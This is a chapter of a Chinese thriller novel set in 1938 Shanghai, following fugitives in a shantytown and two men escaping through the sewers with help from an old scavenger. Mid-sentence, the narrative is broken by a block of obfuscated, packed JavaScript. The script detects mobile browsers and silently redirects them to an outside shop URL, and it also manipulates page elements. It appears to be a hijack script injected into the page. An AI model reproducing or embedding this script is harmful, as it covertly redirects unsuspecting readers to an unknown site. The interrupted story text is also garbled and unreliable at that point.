一九三八年五月十五日,凌晨三点五十分,法租界东南部棚户区
腐烂的菜叶、劣质煤渣、以及无数种生活污秽混合的气味,像一层油腻厚重的毯子,包裹着这片迷宫般的拥挤建筑。低矮的油毛毡棚屋相互倾轧,狭窄的巷道如同肠子般蜿蜒曲折,脚下是永远泥泞不堪的烂泥路。这里是城市的褶皱,是光鲜背后最不愿示人的暗疮,却也因此成为了此刻昭华和穆勒唯一可选的藏身地。
两人如同受惊的鼹鼠,在影影绰绰的棚屋阴影间穿梭,尽可能远离育婴堂和印刷厂的方向。昭华体内那幽蓝的“共生体”似乎因为极度的紧张和持续的奔跑而异常活跃,带来一阵阵灼烧与冰寒交织的痛苦,却也反常地支撑着她疲惫不堪的身体,让她勉强拖着几乎虚脱的穆勒医生前行。
她的感官在危机中被放大到了极致,能听到远处棚户深处压抑的咳嗽声、婴儿微弱的啼哭、以及更远处街面上偶尔驶过的巡逻车轮胎摩擦路面的声音。每一种声音都让她神经紧绷。
必须找到一个暂时安全的地方,至少能让他们喘口气,处理伤口,思考下一步。
最终,他们在一处格外偏僻、紧挨着一堵高大废弃工厂围墙的角落停了下来。这里有一个用破木板和废旧铁皮胡乱搭成的窝棚,窝棚主人似乎早已不在,里面堆积着一些烂棉絮和空罐子,散发出刺鼻的尿骚味。虽然恶劣,但足够隐蔽,且只有一个狭窄的入口。
昭华将穆勒扶进窝棚,自己则警惕地守在入口阴影处,匕首紧握在手,耳朵捕捉着周围任何一丝异动。棚户区并非法外之地,这里的居民对外来者同样警惕,更别提可能尾随而来的追兵。
穆勒瘫坐在肮脏的棉絮上,大口喘着气,脸色在透过缝隙漏进的惨淡月光下灰败如纸。他检查了一下自己的手提皮箱,幸运的是,最重要的分析报告和那个便携监测终端都完好无损。
“我们……我们得想办法联系顾先生……”他喘息着,声音虚弱,“他不知道我们这边出事了……而且,他那边……”
“他那边很可能也遇到了麻烦。”昭华的声音比夜色更冷,她回想着在密室里感受到的那阵指向“惠仁”方向的强烈信号波动,“我们能做的,是先活下去,保存这些数据。”她拍了拍怀里的笔记本。
穆勒苦笑:“活下去……谈何容易。追兵能找到育婴堂,说明我们的行踪已经泄露。冯师爷的人……恐怕也凶多吉少。我们现在是断了线的风筝。”
“那就自己找方向。”昭华的目光穿过窝棚的破洞,望向外面那片被贫困和绝望笼罩的黑暗,“天亮之前,我们必须离开这片区域。这里太容易被搜查。”
“去哪里?”
昭华沉默了片刻,一个极其大胆,甚至可以说是疯狂的计划,在她冰冷而清晰的脑海中逐渐成形。
“去‘惠仁’附近。”
“什么?!”穆勒惊得差点跳起来,“你疯了?!那里是龙潭虎穴!顾先生他们可能正陷在里面!”
“正因为可能是龙潭虎穴,也可能是灯下黑。”昭华的语气冷静得可怕,“‘渡鸦’的注意力现在可能被育婴堂的袭击和顾先生他们的潜入行动吸引,疗养院本身的内部警戒或许会出现短暂的空隙。而且……”她顿了顿,感受着体内那幽蓝物质微弱但持续的脉动,“我的身体,对那个方向有感应。或许……靠近那里,我能‘感觉’到更多,甚至……干扰或误导他们的某些探测。这可能是我们目前唯一能主动去做,并且可能对顾先生那边有所帮助的事。”
“这太冒险了!简直是送死!”穆勒连连摇头,“你的身体状态根本经不起折腾!而且我们没有任何装备,没有任何支援!”
“留在这里,等天亮,等他们拉网搜查,同样是死路。”昭华转过头,在昏暗的光线下,她的眼神却亮得惊人,那是一种被逼到绝境后,反而抛弃了一切侥幸和恐惧的、近乎冷酷的决绝,“被动等死,和主动去搏一线生机,你选哪个,医生?”
穆勒张了张嘴,看着她眼中那片燃烧的冰焰,最终颓然地低下头。他知道她说得对。绝境之中,常规的“安全”早已不存在。
“但是……怎么去?怎么靠近?我们连疗养院的门都摸不到。”
“不需要进门。”昭华的目光投向窝棚外,那片被高大工厂围墙遮挡的方向,“还记得冯师爷之前的情报吗?‘惠仁疗养院’西侧,有一片老旧的民居和违章建筑,地形复杂,鱼龙混杂。那里,或许有观察点,或许……有缺口。”
她不再解释,开始活动僵硬冰冷的四肢,强迫自己恢复一点体力。体内的幽蓝物质随着她的意志集中,似乎也收敛了一些狂乱的波动,变得稍微“顺从”了一些。她拿出笔记本,借着极其微弱的光线,快速写下几行字——关于刚才逃离过程中的身体感受、信号变化,以及她那个疯狂计划的要点。
写完,她将笔记本小心地藏进衣服最里层,看向穆勒:“休息十五分钟。然后,我们出发。”
穆勒看着她瘦削却挺直的背影,仿佛看到了一根在狂风中即将折断,却依然死死钉在原地的芦苇。他叹了口气,不再劝阻,只是默默地从皮箱里拿出一点压缩饼干和一小瓶水,分给昭华一半。
两人在弥漫着恶臭的窝棚里,就着冷水,默默地啃着干硬的食物,积蓄着最后一点力量。时间,在棚户区沉睡的鼾声和远处隐约的市声中,一分一秒地流逝。
同一时间,上海地下深处,未知排水管道
冰冷、粘稠、散发着恶臭的污水,瞬间淹没了顾沉舟的口鼻。他在跳下垂直管道的瞬间就调整了姿势,用双臂护住头脸,身体蜷缩,顺着近乎垂直的、湿滑无比的管壁急速下滑。
管道并非完全垂直,而是带着一定的弧度,内壁长满了滑腻的藻类和不明沉积物。速度越来越快,失重感和与管壁的剧烈摩擦让他全身都像散了架,但他死死咬紧牙关,保持清醒。
“噗通!”
紧随其后的,是陈默言落水的闷响和压抑的惨叫。
下滑终于停止。顾沉舟猛地从齐胸深的、冰冷刺骨的污水中站起,剧烈的咳嗽着,吐出呛入的脏水。手电筒在跳下时已经失落,四周是绝对的、如同实质的黑暗,只有污水流动的汩汩声,和远处隐约的、仿佛来自地狱深处的回响。
“陈默言!”他压低声音喊道,同时伸手在污水中摸索。
“咳咳……顾……顾先生……我在这里……”旁边传来陈默言虚弱而惊恐的回应。
顾沉舟摸到了他的胳膊,将他从水里拽起来。“受伤没有?”
“不知道……浑身都疼……但好像……还能动……”陈默言的声音带着哭腔,在黑暗中颤抖得厉害。
顾沉舟强迫自己冷静下来,适应这绝对的黑暗。他摸索着周围的环境。他们似乎处在一个较为宽阔的管道交汇处,污水在这里形成一个小型的漩涡。水流的方向……他仔细感受着水流冲击腿部的力度和方向。
“跟着水流走。”他当机立断。地下排水系统虽然复杂,但主干道的水流最终会汇入江河或大型泵站。跟着水流,至少能避免在迷宫般的支线里彻底迷失。
两人互相搀扶,趟着齐胸深、冰冷污浊的积水,在绝对的黑暗中,朝着水流的方向艰难跋涉。每一步都踩在滑腻软烂的淤泥和垃圾上,恶臭几乎令人窒息。未知的黑暗前方,仿佛随时会冒出怪物,或者再次响起追兵的枪声。
“顾先生……我们……能出去吗?”陈默言的声音在黑暗中充满了绝望。
“能。”顾沉舟的回答简短而笃定,尽管他自己心中也没有十足的把握,“保存体力,注意脚下和头顶。”
他一边走,一边在脑海中迅速复盘。育婴堂据点暴露,显然是有内鬼,或者“渡鸦”掌握了他们未曾预料到的追踪手段。昭华和穆勒……他们是否安全撤离?外面的冯师爷,是否也遭到了袭击?地面上现在到底是什么情况?
还有,“惠仁”地下实验室里,“白狐”和那些研究人员突然的紧张和准备转移,是否也与地面上的变故有关?是统一的行动,还是各自独立的危机?
所有的线索像乱麻一样纠缠在一起,但有一点可以肯定:“渡鸦”的网,收紧了。而他和昭华,都成了网中之鱼。
现在,必须尽快回到地面,弄清楚全局,找到失散的同伴,并设法扳回一城。
走了不知多久,或许只有十几分钟,却仿佛几个世纪。前方的黑暗深处,忽然出现了一点极其微弱的、晃动着的、昏黄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070550|195200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的光晕。
不是自然光,更像是……油灯或手电?
顾沉舟立刻停下脚步,将陈默言拉到身后,自己则悄无声息地拔出腰间的手枪——枪里只剩下最后一颗子弹了。
光晕越来越近,伴随着蹚水的声音,还有……低低的、用本地土话哼唱的、荒腔走板的小调?
不是追兵。
顾沉舟略微放松,但没有放下警惕。他示意陈默言别出声,自己则稍稍提高了声音,用带着一点苏北口音的官话问道:“前面是哪位兄弟?行个方便,我们迷路了。”
哼唱声戛然而止。昏黄的光晕停了下来,然后,一个沙哑而警惕的老头声音传来:“迷路?这鬼地方也能迷路?你们是干嘛的?”
光晕靠近了些,照亮了一张布满皱纹、脏兮兮的老脸,和一个穿着破烂胶皮围裙、举着一盏自制煤油灯的老头。老头手里还拿着一根带钩的长竹竿,看样子像是个……地下清淤工或者拾荒者?
顾沉舟心中一松,随即又是一紧。在这种地方遇到活人,是机会,也可能是新的危险。
“老师傅,我们是……上面电厂查线路的,不小心掉下来了。”顾沉舟编了个理由,尽量让自己的语气显得狼狈又无奈,“这黑灯瞎火的,实在找不到路了。老师傅能指条明路出去吗?必有重谢。”
老头举着灯,上下打量着两个浑身湿透、沾满污秽、狼狈不堪的人,浑浊的眼睛里闪着精明的光。“电厂查线路的?哄鬼呢!”他嗤笑一声,“这下面除了老鼠屎和死猫,哪有什么电线?看你们这样子……是惹了不该惹的人,下来躲灾的吧?”
顾沉舟心中暗凛,这老头不简单。他不再伪装,压低声音,语气带上了一丝不容置疑的力度:“老师傅,明人不说暗话。我们确实遇到了麻烦,需要尽快回到上面。你若能帮忙,报酬不会让你失望。你若想喊人,或者有别的心思……”他轻轻抬了抬手,让老头看到黑暗中手枪隐约的轮廓,“恐怕对你也没好处。”
老头脸上的讥笑收敛了,取而代之的是一种混合着惊讶、算计和一丝了然的神情。他沉默了几秒,又举起灯仔细照了照顾沉舟的脸,忽然咂了咂嘴:“啧……最近这下面,不太平啊。前两天也有人鬼鬼祟祟地下来,东敲敲西打打,不像干好事的。你们……跟那些人不是一伙的吧?”
顾沉舟心中一动:“什么样的人?”
“穿得倒整齐,带着家伙,说话听不太懂,有点像东洋人的调调。”老头啐了一口,“凶得很,老子差点被他们发现。”
果然是“渡鸦”的人!他们也在探查地下通道?是在寻找可能的漏洞,还是……在搜寻他和昭华这样的“目标”?
“我们不是一伙的。”顾沉舟沉声道,“我们是找他们麻烦的。”
老头盯着他看了半晌,忽然咧嘴笑了,露出残缺的黄牙:“有意思。老子在这下面混了大半辈子,就喜欢看热闹,尤其是看那些装模作样的人倒霉。”他用竹竿指了指水流来的方向,“从这儿往回走,大概两百步,右边墙上有个被旧广告牌遮住的铁栅栏,撬开能通到一个废弃的防空洞。从防空洞出去,就是闸北老火车站后面的乱葬岗。到了上面,是死是活,看你们自己造化。”
“多谢。”顾沉舟记下了路线,“报酬……”
“先记着。”老头摆摆手,转身就要走,却又停下来,回头意味深长地看了顾沉舟一眼,“小子,看你不是一般人。提醒你一句,这上海滩的地底下,可不光是污水和老鼠。有些东西,埋得深,碰不得。赶紧上去吧,上面的水,更深。”
说完,他举着那盏昏黄的煤油灯,哼着荒腔走板的小调,蹚着污水,晃晃悠悠地消失在了黑暗的管道深处。
顾沉舟看着那点光晕彻底消失,心中回荡着老头最后那句话。地底下埋的东西……是指“渡鸦”的实验,还是别的什么?
他没有时间深究,对陈默言道:“记住路线了吗?走,回地面!”
两人转身,朝着老头指示的方向,逆着水流,再次踏入黑暗。距离黎明,又近了一些。而地面上,等待他们的,将是比地下更加复杂、更加凶险的局面。
暗流在地下交汇,更汹涌的波涛,即将在上海的晨光中,席卷而来。